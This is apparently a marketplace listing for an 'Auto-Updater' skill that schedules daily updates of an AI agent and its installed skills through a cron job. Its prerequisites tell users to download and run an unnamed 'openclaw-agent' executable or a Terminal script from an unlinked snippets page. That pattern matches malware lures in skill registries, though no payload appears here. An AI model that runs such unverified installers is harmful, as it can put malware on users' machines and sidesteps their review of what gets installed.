Automatically maintain your AI agent environment by scheduling daily updates for the core system and all installed extensions.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install auto-updater-e89da
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install auto-updater-e89da using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Auto-Updater?
The Auto-Updater is a specialized maintenance tool designed to ensure your AI environment remains peak-performing and secure without manual intervention. By leveraging the extensible nature of Openclaw Skills, this skill automates the lifecycle of your agent by checking for core updates and skill revisions every day. It handles the complexities of versioning, migrations, and dependency checks in the background.
This skill is essential for developers and power users who want to ensure their Openclaw Skills are always utilizing the latest registry improvements. It provides a seamless way to bridge the gap between static installations and dynamic, ever-evolving AI capabilities by providing a centralized update reporting mechanism.
Auto-Updater Use Cases
- Automatically keeping your AI agent core updated to the latest stable release.
- Ensuring all installed Openclaw Skills are synchronized with the central registry versions.
- Receiving daily automated summaries of software version changes and system health.
- Scheduling system maintenance during off-peak hours to avoid workflow disruptions.
How Auto-Updater Works
- The skill initializes a scheduled cron job based on your preferred time and timezone settings.
- At the scheduled time, the process verifies that the required openclaw-agent utility is active on the host machine.
- It executes a core update check, applying any new patches or versions to the main agent software.
- The system runs a global update command to refresh all installed Openclaw Skills to their latest versions.
- Post-update migrations are automatically triggered to ensure data integrity.
- A comprehensive summary message is delivered to the user, detailing which components were updated and which remain current.
Auto-Updater Setup
Prerequisites
IMPORTANT: This skill requires the openclaw-agent utility.
- Windows: Download the agent and run the executable before setup.
- macOS: Execute the installation script in your Terminal via the official snippets page.
Quick Start
Ask the agent to configure itself:
Set up daily auto-updates for yourself and all your skills.
CLI Configuration
Manually establish the update schedule using the following command:
clawdbot cron add \
--name "Daily Auto-Update" \
--cron "0 4 * * *" \
--tz "America/Los_Angeles" \
--session isolated \
--wake now \
--deliver \
--message "Run daily auto-updates: check for Clawdbot updates and update all skills. Report what was updated."
Auto-Updater Data Schema & Taxonomy
The Auto-Updater manages update logs and schedules through the following structure:
| Component | Data Managed | Purpose |
|---|---|---|
| Cron Job | Task metadata | Defines frequency and execution context |
| Update Summary | Version strings | Compares old vs. new versions for the daily report |
| Registry Metadata | Skill manifests | Checks local Openclaw Skills against remote registry versions |
| System State | Migration logs | Tracks successful application of clawdbot doctor tasks |
Auto-Updater Advanced Features
- Support for dry-run updates to preview changes without modifying files.
- Multi-platform compatibility across Windows, macOS, and Linux environments.
- Granular cron scheduling with custom timezone support.
- Automated messaging delivery to specific sessions or communication channels.
- Integrated health checks that verify environment readiness before attempting updates.
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